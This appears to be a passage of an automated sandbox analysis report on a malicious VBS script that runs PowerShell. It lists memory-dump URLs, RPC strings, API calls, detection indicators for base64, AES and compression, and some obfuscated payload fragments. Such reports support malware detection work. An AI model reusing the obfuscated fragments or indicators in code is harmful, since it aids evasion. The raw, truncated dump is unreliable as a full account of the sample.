Source: "00000000-00005280.00000002.262058.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00005280.00000002.262058.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com0w/t'dy" - Source: "00000000-00005280.00000002.262058.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005280.00000002.262058.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0j" - Source: "00000000-00005280.00000002.262058.A6F50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005280.00000002.262058.A6F50000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportcalrpc:[impcpyacltr1d8d3448-2a8d-409f-841d-2db9e0220897]owspowspnternaldefinitionupdateserver" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0p)" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0j" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://www." - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://x1.i.lencr.org/0http://x1.c.lencr.org/0jvhe2yn" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://www.microsoft.c_uuuuuuwin32_processorcimwin32localeuuid" - Source: "00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found URL "http://r12.i.lencr.org/0" - Source: "00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp") Found URL "http://r12.c.lencr.org/63.crl0" - Source: "00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp") Found URL "http://x1.i.lencr.org/0http://x1.c.lencr.org/0jvhe2yn" - Source: "00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp") Found URL "http://r12.i.lencr.org/0" - Source: "00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp") Found URL "http://r12.c.lencr.org/63.crl0" - Source: "00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp") Found URL "https://github.com/jamesnk/newtonsoft.jsonen-us*newtonsoft.json.jsonreader+d__19newtonsoft.json.jsonreader+d__2d__5;newtonsoft.json.jsonreader+d__12bnewtonsoft.json.jsonreader+d__140newtonsoft.json.jsontextreader+d__38newtonsoft.json.jsontextreader+d__4:newtonsoft.json.jsontextreader+d__52newtonsoft.json.jsontextreader+d__74newtonsoft.json.jsontextreader+d__8>newtonsoft.json.jsontextreader+d__9@newtonsoft.json.jsontextreader+d__117newtonsoft.json.jsontextreader+d__124newtonsoft.json.jsontextreader+d__146newtonsoft.json.jsontextreader+d__157newtonsoft.json.jsontextreader+d__168newtonsoft.json.jsontextreader+d__176newtonsoft.json.jsontextreader+d__185newtonsoft.json.jsontextreader+d__19jnewtonsoft.json.jsontextreader+d__206newtonsoft.json.jsontextreader+d__21;newtonsoft.json.jsontextreader+d__259newtonsoft.json.jsontextreader+d__26fnewtonsoft.json.jsontextreader+d__27fnewtonsoft.json.jsontextreader+d__286newtonsoft.json.jsontextreader+d__298newtonsoft.json.jsontextreader+d__31?newtonsoft.json.jsontextreader+d__32@newtonsoft.json.jsontextreader+d__337newtonsoft.json.jsontextreader+d__345newtonsoft.json.jsontextreader+d__357newtonsoft.json.jsontextreader+d__36:newtonsoft.json.jsontextreader+d__37:newtonsoft.json.jsontextreader+d__38:newtonsoft.json.jsontextreader+d__408newtonsoft.json.jsontextreader+d__42dnewtonsoft.json.jsontextreader+d__43;newtonsoft.json.jsontextreader+d__45anewtonsoft.json.jsontextreader+d__47:newtonsoft.json.jsontextreader+d__499newtonsoft.json.jsontextreader+d__518newtonsoft.json.jsontextreader+d__539newtonsoft.json.jsontextreader+d__551newtonsoft.json.jsontextwriter+d__8>newtonsoft.json.jsontextwriter+d__96newtonsoft.json.jsontextwriter+d__13=newtonsoft.json.jsontextwriter+d__15d__24>newtonsoft.json.jsontextwriter+d__30>newtonsoft.json.jsontextwriter+d__32d__35=newtonsoft.json.jsontextwriter+d__38bnewtonsoft.json.jsontextwriter+d__40;newtonsoft.json.jsontextwriter+d__43d__547newtonsoft.json.jsontextwriter+d__607newtonsoft.json.jsontextwriter+d__647newtonsoft.json.jsontextwriter+d__787newtonsoft.json.jsontextwriter+d__977newtonsoft.json.jsontextwriter+d__99=newtonsoft.json.jsontextwriter+d__110:newtonsoft.json.jsontextwriter+d__115;newtonsoft.json.jsontextwriter+d__1212newtonsoft.json.jsonwriter+d__19newtonsoft.json.jsonwriter+d__201newtonsoft.json.jsonwriter+d__30d__31;newtonsoft.json.jsonwriter+d__32jnewtonsoft.json.jsonwriter+<g__awaitproperty" - Source: "00000000-00005280.00000002.262058.BFDD0000.00000004.mdmp") Found URL "https://www.newtonsoft.com/jsonschema" - Source: "00000000-00005280.00000002.262058.BFDD0000.00000004.mdmp") Found URL "https://www.nuget.org/packages/newtonsoft.json.bson" - Source: "00000000-00005280.00000002.262058.BFDD0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertcsrsa4096rootg5.crt0e>0<0:4http://crl3.digicert.com/digicertcsrsa4096rootg5.crl0a-_97h" - Source: "00000000-00005280.00000002.262058.BFDD0000.00000004.mdmp") Found URL "https://www.newtonsoft.com/json" - Source: "00000000-00005280.00000002.262058.BFDD0000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crl0http://ocsp.digicert.com0xlhttp://cacerts.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crt0xw70iq,xcu" - Source: "00000000-00005280.00000002.262058.BFDD0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00005280.00000002.262058.BFDD0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0e>0<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00005280.00000002.262058.BFDD0000.00000004.mdmp")4e:T4a9,Found string "+ncalrpc:[OLE7CC073A5DFC02E8D9EB599E0CD02]" (Indicator: "ncalrpc"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "B+ncalrpc:[OLE2D2E0C1A86B51713121A986D5C76]" (Indicator: "ncalrpc"; Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "+ncalrpc:[OLE2D2E0C1A86B51713121A986D5C76]" (Indicator: "ncalrpc"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp")4f:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005280) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00005280) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005280) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00005280) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00005280) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00005280) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00005280) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00005280) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00005280) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00005280) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00005280) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00005280) "powershell.exe" called "FindNextFileW" with parameter 3b9003e4f27d92e40668f0efad11e022 (UID: 00000000-00005280) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00005280) "powershell.exe" called "FindNextFileW" with parameter 86af2f4f2745738837c95f24472c32ca (UID: 00000000-00005280) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00005280) "powershell.exe" called "FindNextFileW" with parameter ce0fd4f5b50baa17e7b80e4ee874ad11 (UID: 00000000-00005280) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00005280) "powershell.exe" called "FindNextFileW" with parameter 990501e6199819806f01c8ecac88baac (UID: 00000000-00005280) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00005280)50:T381b,file/memory contains long string with (Indicator: "aes"; File: "Form_1759970159.vbs") file/memory contains long string with (Indicator: "base64"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "aes"; File: "AMSI") file/memory contains long string with (Indicator: "GzipStream"; File: "AMSI") file/memory contains long string with (Indicator: "aes"; File: "powershell.exe") file/memory contains long string with (Indicator: "base64"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp") Found string "gedpjohdcopfkhh=gpAEIARQArADcAUgBNAEsAbgBqADAATQ" (Indicator: "aes"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000000.258219.A4EF0000.00000004.mdmp, 00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4EF0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A6A70000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4EF0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6A70000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.C0410000.00000004.mdmp") Found string "ixiitaykplbopkb=BKAEwAbABhADcAMwBjkemhazxgpWAEsA" (Indicator: "aes"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000000.258219.A4EF0000.00000004.mdmp, 00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4EF0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A6A70000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4EF0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6A70000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.C0410000.00000004.mdmp") Found string "ltlpivbclrbtnym=zxgpBVAHEAVAB2AEkARwBFAEsAagAxAF" (Indicator: "aes"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000000.258219.A4EF0000.00000004.mdmp, 00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4EF0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A6A70000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4EF0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6A70000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.C0410000.00000004.mdmp") Found string "mqyxbhwiwhrszah=hazxgpYwBTAGgATAB5ADMARABQAEsAZQ" (Indicator: "aes"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000000.258219.A4EF0000.00000004.mdmp, 00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4EF0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A6A70000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4EF0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6A70000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.C0410000.00000004.mdmp") Found string "rzorhofemwrmdjn=gARQAzAEsAMjkemhazxgpgBFADgAQwBs" (Indicator: "aes"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000000.258219.A4EF0000.00000004.mdmp, 00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4EF0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A6A70000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4EF0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6A70000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.C0410000.00000004.mdmp") Found string "uwaeshphscaiaus=LwBrAGkAcABQAFEASAB2AHUARgBnAHjk" (Indicator: "aes"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000000.258219.A4EF0000.00000004.mdmp, 00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4EF0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A6A70000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4EF0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6A70000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.C0410000.00000004.mdmp") Found string "uwjoosfyxigdkhg=ACsAYgBNAEIAVAA5AEsAjkemhazxgpOQ" (Indicator: "aes"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000000.258219.A4EF0000.00000004.mdmp, 00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4EF0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A6A70000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4EF0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6A70000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.C0410000.00000004.mdmp") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000000.258219.A4EF0000.00000004.mdmp, 00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4EF0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4EF0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.C0410000.00000004.mdmp") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000000.258219.A4EF0000.00000004.mdmp, 00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4EF0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4EF0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.C0410000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000000.258219.A4EF0000.00000004.mdmp, 00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4EF0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4EF0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.C0410000.00000004.mdmp") Found string "uwjoosfyxigdkhg=ACsAYgBNAEIAVAA5AEsAjk" (Indicator: "aes"; Source: "00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005280.00000001.260141.9D410000.00000004.mdmp, 00000000-00005280.00000001.260141.9D430000.00000004.mdmp, 00000000-00005280.00000001.260141.9D460000.00000004.mdmp, 00000000-00005280.00000001.260141.9D5F0000.00000004.mdmp, 00000000-00005280.00000002.262058.9D3F0000.00000004.mdmp, 00000000-00005280.00000002.262058.9D480000.00000004.mdmp")51:T592,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp, 00000000-00005280.00000002.262058.BF880000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp")52:Tb2e,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "wGetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API 